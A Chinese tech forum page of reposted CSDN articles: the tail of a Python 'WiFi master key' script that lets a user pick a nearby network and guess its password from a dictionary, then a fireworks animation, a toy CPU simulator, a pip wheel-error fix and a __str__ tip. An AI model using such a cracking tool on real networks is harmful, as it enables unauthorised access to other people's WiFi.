exit_flag = 0     # 目标编号     target_num = -1     while not exit_flag:         try:             print('WiFi万能钥匙'.center(35, '-'))             # 调用扫描模块,返回一个排序后的wifi列表             wifi_list = wifi_scan()             # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理             choose_exit_flag = 0             while not choose_exit_flag:                 try:                     target_num = int(input('请选择你要尝试破解的wifi:'))                     # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入                     if target_num in range(len(wifi_list)):                         # 二次确认                         while not choose_exit_flag:                             try:                                 choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))                                 # 对用户输入进行小写处理,并判断                                 if choose.lower() == 'y':                                     choose_exit_flag = 1                                 elif choose.lower() == 'n':                                     break                                 # 处理用户其它字母输入                                 else:                                     print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')                             # 处理用户非字母输入                             except ValueError:                                 print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')                         # 退出破解                         if choose_exit_flag == 1:                             break                         else:                             print('请重新输入哦(*^▽^*)')                 except ValueError:                     print('只能输入数字哦o(* ̄︶ ̄*)o')             # 密码破解,传入用户选择的wifi名称             wifi_password_crack(wifi_list[target_num][1])             print('-' * 38)             exit_flag = 1         except Exception as e:             print(e)             raise e     if __name__ == '__main__':     main()  四、结果展示 通过测试,wifi密码成功破解,并自动连接。   4.1  选择要破解的wifi名称  4.2 获取字典  4.3 成功破解  ———————————————— 版权声明:本文为CSDN博主「Dr.sky_」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_43734080/article/details/128044613 
  • [技术干货] Python烟花秀-转载
     前言 Python跨年烟花表演,具体源码见:Python跨年烟花代码-Python文档类资源-CSDN下载  烟花的粒子类 class particle:     #烟花的粒子类     def __init__(self,canvas,num,sums,x,y,x_speed,y_speed,explosion_speed,color,size,max_life):         self.canvas=canvas    #画布         self.num=num          #粒子的序号         self.sums=sums        #粒子的个数         self.x=x              #粒子的横向坐标         self.y=y              #粒子的纵向坐标         self.x_speed=x_speed    #粒子在横向的移动速度         self.y_speed=y_speed    #粒子在纵向的移动速度         self.initial_speed=explosion_speed    #粒子的初始速度         self.color=color       #粒子的颜色         self.life=0            #粒子当前存活的时间         self.max_life=max_life   #粒子最大的存活时间         self.oval=self.canvas.create_oval(x-size,y-size,x+size,y+size,fill=self.color)   #粒子的范围(烟花的大小)     def expand(self):    #判断粒子是否还在爆炸         if self.life<=1.5:    #粒子是否到达最大爆炸时间             return 1         else:             return 0     def alive(self):     #判断粒子是否存活         if self.life<=self.max_life:     #粒子是否到达最大存活时间             return 1         else:             return 0     def new(self,dt):    #更新当前烟花的粒子位置         self.life=self.life+dt   #更新当前存活时间         if self.alive() and self.expand():   #如果当前存活时间在爆炸时间内             move_x=m.cos(m.radians(self.num*360/self.sums))*self.initial_speed   #则执行爆炸,更新横向坐标             move_y=m.sin(m.radians(self.num*360/self.sums))*self.initial_speed   #更新纵向坐标             self.canvas.move(self.oval,move_x,move_y)    #在画布上更新烟花             self.x_speed=move_x/(float(dt)*1000)    #烟花绽放的速度         elif self.alive():    #如果爆炸结束了,但粒子还存在,则开始坠落             move_x=m.cos(m.radians(self.num*360/self.sums))    #更新横向坐标             self.canvas.move(self.oval,self.x_speed+move_x,self.y_speed+0.05*dt)  #在画布上更新烟花             self.y_speed=self.y_speed+0.5*dt     #烟花坠落的速度         elif self.oval is not None:    #如果在坠落的时间外了,就将烟花从画布上擦除             canvas.delete(self.oval)             self.oval=None  烟花秀的实现 def fireworks(canvas):#烟花函数(循环更新当前界面)     times=ti.time()       #获取当前时间戳     explode_points=[]     #烟花列表     wait_time=r.randint(1,10)      #等待时间     num_explode=r.randint(20,30)     #烟花的个数     for point in range(num_explode):     #依次更新各个烟花         firework=[]      #当前烟花的粒子列表         x=r.randint(50,550)   #当前烟花的粒子在横向的活动范围         y=r.randint(50,150)   #当前烟花的粒子在纵向的活动范围         speed=r.uniform(0.5,2)   #粒子的绽放速度         size=r.uniform(0.5,1.5)    #粒子的大小         color=r.choice(colors)     #粒子的颜色         explosion_speed=r.uniform(0.2,5)    #粒子爆炸的速度         sum_particles=r.randint(30,50)      #粒子的总数         max_life=r.uniform(0.6,1.75)        #粒子的最大存活时间         for i in range(1,sum_particles):   #当前烟花的每个粒子的参数             fire=particle(canvas,num=i,sums=sum_particles,explosion_speed=explosion_speed,x=x,y=y,x_speed=speed,y_speed=speed,color=color,size=size,max_life=max_life)             firework.append(fire)    #将当前粒子加入到当前的烟花粒子列表中         explode_points.append(firework)   #将当前烟花加入到烟花列表中     expand_time=0     #初始爆炸的时间     while expand_time<2:    #如果爆炸的时间小于2         ti.sleep(0.001)     #爆炸帧         newtime=ti.time()   #获取爆炸一次的时间戳         times,dt=newtime,newtime-times    #更新当前的时间戳         for point in explode_points:     #更新所有的粒子位置             for item in point:                 item.new(dt)         canvas.update()    #更新当前画布         expand_time=expand_time+dt   #更新当前的爆炸时间     global root   #root界面是全局变量     root.after(wait_time,fireworks,canvas)  ———————————————— 版权声明:本文为CSDN博主「Want595」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/m0_68111267/article/details/128746664 
  • [技术干货] 40 行 Python 代码,写一个 CPU!-转载
     一、引言 CPU 如何工作?是困扰初级用户一个迷雾般的难题。我们可能知道诸如程序计数器、RAM、寄存器的只言片语,但尚未对这些部件的工作原理及整个系统的协同有清晰和总体的认识。  本文使用四十行 Python 代码来实现一个最简单的 CPU。使它可编程,支持加减法运算、读写内存、无条件跳转、条件跳转的功能。之所以实现一个相对简单的 CPU,是想让大家从整体上理解 CPU 工作原理,不要过早被细节羁绊住。  “ 真实 CPU 是采用在硅片上蚀刻的方式生产三极管或者 MOS 管,这些三级管充当的是开关:在开关开闭之间,实现了加法、减法和存储。之前我用 Python 代码从一个开关开始,模拟出一个类似本文的 CPU。但是这里,我们从更高层次上模拟 CPU:用代码模拟大的部件,使大家从原理上理解 CPU 工作。  ” 二、CPU 的组成 整个 CPU 大的部件组成,如下图:   哈佛结构 CPU  本 CPU 采用的是 Harvard architecture(哈佛结构)。哈佛结构比较简单易懂、实现起来比较容易。上图中有指令 RAM 和数据 RAM,两个 RAM 就是哈佛结构的重要标志。  “ 常见的两种 CPU 结构为哈佛和冯诺依曼结构。哈佛结构是将程序指令和数据存储在同一块 RAM 中的 CPU 设计方案。von Neumann architecture(冯诺伊曼结构),也称普林斯顿结构,是一种将程序指令存储器和数据存储器合并在一起的 CPU 设计方案。  ” 哈佛结构和冯诺依曼结构的主要区别:前者程序和数据分为两个 RAM 存储,后者统一存储在一个 RAM 中。  三、工作原理 让我们分别介绍各部件工作原理,之后介绍它们怎么协同工作。  3.1 各部件工作原理  上图中各部件,在真实 CPU 中,都有相应物理电路与其对应,它们的功能分别是:  pc 计数器,从 0 开始产生 0,1,2,……计数可以清零,也可以从外部输入一个数,从这个数从新开始计数,这被称为置位。用于指示程序和数据存取位置。  RAM,存储数据的随机存储器,支持根据地址(0x01 这种整形)读取数据,根据地址和写入信号 w 写入数据。用于存储程序和数据。  寄存器,存储 8 bit 信息的存储器,根据 w 信号为 1 写入当前数据,w 为 0 表示读取。类似 RAM,但只能存储 8 bit 信息。常用于存储指令、地址和计算中间量。  加法器,完成两数加减法运算,sub 为 1 时表示减法,ci 为 1 时表示进位。这个器件是核心器件,用于构成 ALU(算数逻辑单元)。真实 CPU 是采用逻辑门搭建,还有乘法器、逻辑运算单元,等等。  21选择器,相当于单刀双掷开关,根据 s21 信号,决定 8 bit 输出来自或左或右 8 bit 输入端。  3.2 协同工作原理  上图中箭头表示的是数据流向,也称为数据通路图。从数据通路图上我们能分析出 CPU 是怎么设计出来的。  整个数据通路从程序计数器 pc 开始,计数器从 0 开始输出数字 0,1,2,3,4……。指令 RAM 和数据 RAM 中分别存储程序代码和数据。RAM 采用数字表示的位置访问、存储数据。根据计数器地址 0,1,2之类,将 RAM 中的数据分别放入指令寄存器 IR 和数据寄存器 DR。寄存器相当于容器、变量,存储了 RAM 给它的数据。  指令寄存器中的指令码解码产生 CPU 控制指令,这些 0 和 1 分别表示低电平和高电平信号,而电平信号则控制诸如加法器进位与否,是否打开减法,是否使能寄存器写入,选择 21选择器哪一个输入作输出,是否重置计数器,等等。所以,指令其实是控制 CPU 各部件协同工作的电信号。  数据寄存器中的数据分别走向加法器 adder 来进行加法、减法运算后流向 21选择器,也可能直接流向 21选择器等待选择。21选择器选择后,数据进入累加寄存器 AC 。累加器的数据根据 ac 信号是否为高电平 1 ,来决定写入与否。AC累加器的数据会参与下次计算或者根据 w 信号存入数据 RAM 中。  至此,我们完成了一次计算,程序计数器加 1,然后执行下一次计算。如果本条指令是跳转指令的话,将跳转目的地址直接赋值给程序计数器,程序重新地址开始执行。  下面我们用一个实际例子来说明 CPU 执行过程。  四、CPU 指令工作详细剖析 一个完整程序是由指令和数据构成。指令负责控制 CPU 各部件协同工作,数据则参与具体运算。例子程序完成 10+2-3,然后循环减 3 直到结果为 0 时程序完成。指令寄存器为 ramc,数据寄存器为 ramd。  ramc = [0x18, 0x19, 0x1d, 0x02, 0x31, 0x30, 0x00] ramd = [10, 2, 3, 0xff, 0x06, 0x02] 下面我们来学习指令怎么控制 CPU 的。  4.1 指令  上文中我们知道,程序计数器从 0 开始输出。CPU 完成计算操作后,整个计数器会加 1,取得下一条指令继续执行。我们以 pc 为零时取到的第一条指令 0x18 为例讲解指令是怎么解码,进而控制 CPU 各器件的。  0x18 二进制形式为 0b0001 1000。每一位二进制,都指向一个器件的使能端。所谓使能端,就是让这个部件工作的开关。比如这里的两个 1 代表高电平,分别连接数据寄存器 DR 和累加寄存器 AC 的使能端 w。这样当我们读到 0x18 时,我们知道 CPU 会把当前数据通路上的数据写入数据寄存器和累加寄存器。  具体每个二进制位和 CPU 各器件使能端间的对应关系,就是指令。本文设计连线如下。当前状态就是 0x18 指令控制 CPU 器件的状态。   指令之 0x18  以此类推,当需要什么功能时,就把相应器件使能信号连接的位置设置为高电平,也就是设置为 1 ,可得指令集如下表。   CPU 指令集  下面我们以上例剖析具体执行过程。  ​4.2 指令执行过程剖析  让我们开机,pc 从零开始运行。   指令之 0x18  上图中,当程序计数器为 0 时,访问指令 RAM 和数据 RAM 的第 0 个空间, 0x18 和 10 分别存入指令寄存器和数据寄存器。  指令 0x18 ,二进制 0b0001 1000,此为 Load 载入指令,分别指示 DR 寄存器和 AC 寄存器使能端 w 为 1。  数据 10 作为数据存入 DR 和 AC 寄存器  以上完成载入 10 的操作。  ​​​​​​​ 指令之 0x19  当 pc 为 1 时,访问指令 RAM 和数据 RAM 的第 1 个空间,0x19 和 2 分别存入指令寄存器和数据寄存器。  指令 0x19,二进制 0b0001 1001,此为 Add 加法指令,分别指示:DR 寄存器保存数据;21选择器被选择,输出加法器计算结果;结果被保存进 AC。  数据 2 作为数据存入 DR 和上一步  AC 内容 10 相加再存入 AC。  以上完成 10+2 的操作。   指令之 0x1d  pc 为 2 时,访问指令 RAM 和数据 RAM 的第 2 个空间,0x1d 和 3 分别存入指令寄存器和数据寄存器。  指令 0x1d,二进制 0b0001 1101,此为 Sub 减法指令,分别指示:DR 寄存器保存数据;加法器支持的减法启动;21选择器被选择;运算结果被保存进 AC。  数据,3 作为数据存入 DR 和上一步 AC 结果 12 的差 9 存入 AC。  以上完成 12-3 的操作。   指令之 0x02  pc 为 3 时,访问指令 RAM 和数据 RAM 的第 3 个空间,0x02 存入指令寄存器。  指令 0x02,二进制 0b0000 0010,此为 Store 存储指令,此时,w 信号为 1,指示打开数据 RAM 的使能信号,这样 AC 寄存器中的 9 存入数据 RAM 的 3 位置中。  数据 0xff,由于 dr 为 0,所以数据寄存器不存入数据。  以上完成将 9 写入数据 RAM 位置 3 处的操作。   指令之 0x31  pc 为 4 时,访问指令 RAM 和数据 RAM 的第 4 个空间,0x31 存入指令寄存器。  若 pre 为 1,AC 为零,则 0x06 写入 pc 计算器,程序跳转到 pc 为 6 时执行,也就是最后一步命令 HLT 停机指令。  若 AC 不为零或 pre 不为 1,继续向下执行 pc+1 也就是 pc 为 5。  指令 0x31,二进制 0b0011 0001,此为 Jz 零跳转指令,指示根据 AC 结果是否为零及程序计数器置位信号 pre 是否为 1,来重置 pc 计数器。  数据,0x06 作为数据存入 DR。根据 pre 信号为 1 和 AC 为 0 否,重置 pc 计数器。  以上完成根据计算结果是否为零分别跳转倒不同位置的功能。   指令之 0x30  pc 为 5 时,访问指令 RAM 和数据 RAM 的第 5 个空间,0x30 存入指令寄存器。  指令 0x30,二进制 0b0011 0000,此为无条件跳转指令 Jmp ,指示重置 pc 计数器。  数据, 0x02 作为数据存入 DR,根据 pre 信号,重置 pc 计数器。  0x02 指向地址的指令是 0x1d,这是减法指令,也就是继续进行 -3 操作。  此时 pc 指向 0x02,重新进行减法计算。  以上完成继续 -3 的操作。   指令之 0x00  pc 为 6 时,访问指令 RAM 和数据 RAM 的第 6 个空间,0x00 存入指令寄存器。  指令 0x00,二进制 0b0000 0000,此为 Hlt 指令,指示停机。  此命令数据无意义。  本指令地址只能从 pc 为 4 时跳转过来。  其实看懂以上执行流程和例子,基本就懂 CPU 的基本工作原理了。下面我们用 Python 语言来实现这些器件吧。  五、 Python 实现 CPU 各组成部分 5.1 RAM 存储器  我们用 list 来存储数据。这是一个很简单和直接的设计。  ramc = [0x18, 0x19, 0x1d, 0x02, 0x31, 0x30, 0x00] 对存储器的读写,根据 pc 指针来,ramc[pc]=data 表示写入内存,读就是 ramc[pc]。  5.2 Adder 加法器  def adder(a=0, b=0, ci=0, sub=0):     return a-b+ci if sub == 1 else a+b+ci 真正的加法器使用逻辑门,相当于一堆开关按某种关系堆叠在一起,这里我们用高级语言模拟,极大简化了实现。这个加法器实现了 a 和 b 的加法,同时 ci 表示进位,sub 表示减法。  5.3 Register 寄存器  寄存器采用 Python 的闭包概念来设计,这是为了用自由变量记住寄存器上次的状态。当我们用 AC = register() 调用时,AC 相相当于返回的内部函数 register_inner,此时 temp 作为自由变量和 register_inner 同属一个闭包。所以此后对 temp 变量读、写都是一个持久的变量。相当于维持住了状态。  w 信号为 1 时写入,相当于寄存器使能端 w。  def register():     temp = 0       def register_inner(data=0, w=0):         nonlocal temp         if w == 1:             temp = data         return temp     return register_inner “ 真实 CPU 设计当中,如何设计寄存器是一门大学问。即使在微机原理课程粗浅的 CPU 模型学习中,理解继电器和 三极管能记忆,也需要费一番心思。本文用高级语言模拟底层硬件,我们只能再兜兜转转一次,所以此处需要深刻理解闭包概念。  ” 5.4 8bit 21选择器  21选择器是在 sel 端为 1 时,返回 b 。当 sel 为零时,返回 a。也就是两个输入端选择一个作为输出。  def b8_21selector(a=0, b=0, sel=0):     return a if sel == 0 else b 六、集成 CPU 当我们集成 CPU 各部件时,首先将各部件新建出来,然后进行初始化,最后将 pc 置零,开始无限循环。  循环过程中,首先将程序指令 RAM 中的数据写入指令寄存器,根据指令寄存器解码各控制信号,此后操作都是在指令控制信号控制下进行。  首先如果 IR 指令寄存器中是 HLt 停机指令的话,那么系统 Break。否则根据 dr 决定是否将数据信号写入 DR 数据寄存器。  对加法器的操作,是自动的,它的一个输入是 AC 累加器存器,另一个输入是 DR 数据寄存器,同时受到 sub 减法控制信号的控制。  加法运算器运算后,结果传到 21选择器,同数据总线上直接过来的数据一块,等待 s21 信号选择,再根据 ac 信号存进 AC 累加寄存器,以备下一计算。  zf 作为零标志位寄存器,如果 AC 累加器存起结果为零的话,则 zf 为 1。此时如果 pre 为 1 的话,那么就可以将 pc 设置为 DR 数据寄存器的值,实现了运算结果为零跳转功能。否则继续向下执行。  总体集成后,代码如下:  def adder(a=0, b=0, ci=0, sub=0):     return a-b+ci if sub == 1 else a+b+ci def b8_21selector(a=0, b=0, sel=0):     return a if sel == 0 else b def register():     temp = 0     def register_inner(data=0, w=0):         nonlocal temp         if w == 1:             temp = data         return temp     return register_inner def int2bin(data=0, length=8, tuple_=1, string=0, humanOrder=0):     #辅助函数,整数转换为二进制字符串或者元祖。     r = bin(data)[2:].zfill(length)     r = r[::-1] if humanOrder == 0 else r     return r if string == 1 else tuple(int(c) for c in r) def cpu():     pc = 0 # pc 计数器从 0 开始,无限循环。     IR, DR, AC = register(), register(), register() # 新建寄存器     ramc = [0x18, 0x19, 0x1d, 0x02, 0x31, 0x30, 0x00] # 初始化代码     ramd = [10, 2, 3, 0xff, 0x06, 0x02] # 初始化数据       IR(0, w=1) # 初始化寄存器     DR(0, w=1)     AC(0, w=1)     while True:         IR(ramc[pc], w=1) # 指令读写         *_, pre, dr, ac, sub, w, s21 = int2bin(IR(), humanOrder=1) # 指令解码         if IR() == 0:             break # HLT信号         DR(ramd[pc], w=dr) # 数据读写         r = adder(AC(), DR(), sub=sub) # 加法器自动加法         AC(b8_21selector(DR(), r, s21), w=ac) # 选择器选择后,累加寄存器读写         ramd[pc] = AC() if w else ramd[pc] # 根据 w 信号,数据写入 RAM         zf = (AC() == 0) # 零标志位寄存器         pc = DR() if (pre == 1 and zf == True and s21 == 1) else pc + 1 # Jz 指令跳转         pc = DR() if (pre == 1 and s21 == 0) else pc # 无条件跳转 Jmp         print(AC())  if __name__ == '__main__':     cpu()  可见输出结果:10,12,9,9,9,9,6,6,6,6,3,3,3,3,0,0,0,程序工作正常,CPU 工作了!  七、为CPU编程,体会上古程序员 工作流程 下面我们给我们的玩具 CPU 编写一个从 5 减 1,直到为 0 的程序:首先需要载入 5,然后减去 1,判断是否为零,为零跳转到停机,不为零继续跳转到减 1 处。  代码和数据分别写:      ramc = [0x18, 0x1d, 0x31, 0x30, 0x00]     ramd = [5,    1,    0x04, 0x01] 程序输出:  5,4,4,4,3,3,3,2,2,2,1,1,1,0,0 工作正常!  “ 如果我们把这些数据转换为二进制,明显是 8 bit 信息,每单元 8 个小孔顺序镂刻在纸带上,就可以拿到上古计算机上运行了。这就是第一代程序员们干的事情。  ” 八、总结 理解 CPU 工作原理,重要的是理解 pc 不停地自增地址,顺序执行程序指令。当遇到跳转指令时,会将 pc 重置为新地址。在顺序执行程序指令的过程中,每一步都是解析程序指令、产生控制信号,进而控制所有 CPU 相关器件的工作状态,产生程序计算结果,保存进各寄存器或者RAM 中。  从宏观上,CPU 工作原理是读取内存数据,在 ALU 中完成计算,然后保存进内存,输入输出系统完成了同其他外设交互;从中观上看,CPU 工作原理就是本文讲述的 pc 从 0 开始,读取程序指令寄存器,然后解析指令,控制各部件工作的具体过程;从微观上看,pc 程序计数器、ALU 数字逻辑运算单元,RAM 存储器在内的所有 CPU 相关部件,其实都是一个个三极管,这些三极管在电流作用下导通或者截止,完成了数字逻辑运算、保持记忆状态、产生脉冲信号的所有功能。  本文是从中观层次构建、模拟 CPU,使用 40 行 Python 代码实现了一个简单的玩具级 CPU。使他完成加减法运算,且具备读写内存、跳转、条件跳转的功能。全文较干,感谢阅读! ———————————————— 版权声明:本文为CSDN博主「毕加锁」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_69999177/article/details/128541944 
  • [技术干货] pip安装python库时报Failed building wheel for xxx错误的解决方法【转】
    最近在使用pip安装python的时候遇到些问题,所以下面这篇文章主要给大家介绍了关于pip安装python库时报Failed building wheel for xxx错误的解决方法,需要的朋友可以参考下一、问题描述如题,在使用pip install xxx的方法安装python库,或者是基于python的软件时,报错“ERROR: Failed building wheel for xxx(某个库)”这个报错信息表明缺少了相应的 .whl 文件二、解决办法1. 下载并安装对应的 .whl 文件下载地址:https://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml 到上述网站中搜索需要的库的 .whl 文件,例如在本例中需要安装 dukpy,就到网站中搜索这个库,可以搜到一堆的文件,需要找到对应自己电脑python版本和系统的文件下载,注意下载后不要改变文件的文件名。cp 后面的数字表示 python 的版本 cp39 代表 python3.9在终端输 python 就可以看到自己的python版本了2. 安装 .whl 文件1pip install .whl 文件的路径+文件名安装成功~~在安装软件时,有多少个库报这种错误,就用这个方法下载并安装报错库的 .whl 文件。都安装好后,重新安装需要的软件。
  • [技术干货] Python中__str__()的妙用【转】
    这里是Python小技巧的系列文章。这是第三篇,object.__str__(self)方法的妙用。书接上回,这次还是介绍Python类的内置方法,__str__()据官方文档的介绍,在使用 str(object) 、format() 和 print() 的时候会调用__str__() 方法,该方法会将实例转换为字符串,返回值为 字符串 对象。如果__str__()没有被定义,就会调用 object.__repr__()。实现 str 方法来定制一个类的实例的字符串表示。知识点📖📖关于__repr__(),基本用不上。建议查看官方文档,粗略了解即可。先来看一组简单的代码(这个类没有实现任何功能 """demo.py"""  class Nothing:     ...  if __name__ == "__main__":     print(Nothing())    # <__main__.Nothing object at 0x000002C2CFD06650> 0x2c2cfd06650 剖析在代码复杂的情况下,再打印默认的类实例,那就显得太鸡肋了。这个时候我们就需要重写 __str__()方法了,使得它更加人性化。再来看一组复杂点的代码 """demo.py"""  class Nothing:     name = 'frica'     age = 20      def __str__(self):         return f'Nothing(name={self.name}, age={self.age})'  if __name__ == "__main__":     print(Nothing())  
总条数:2474 到第 页
上滑加载中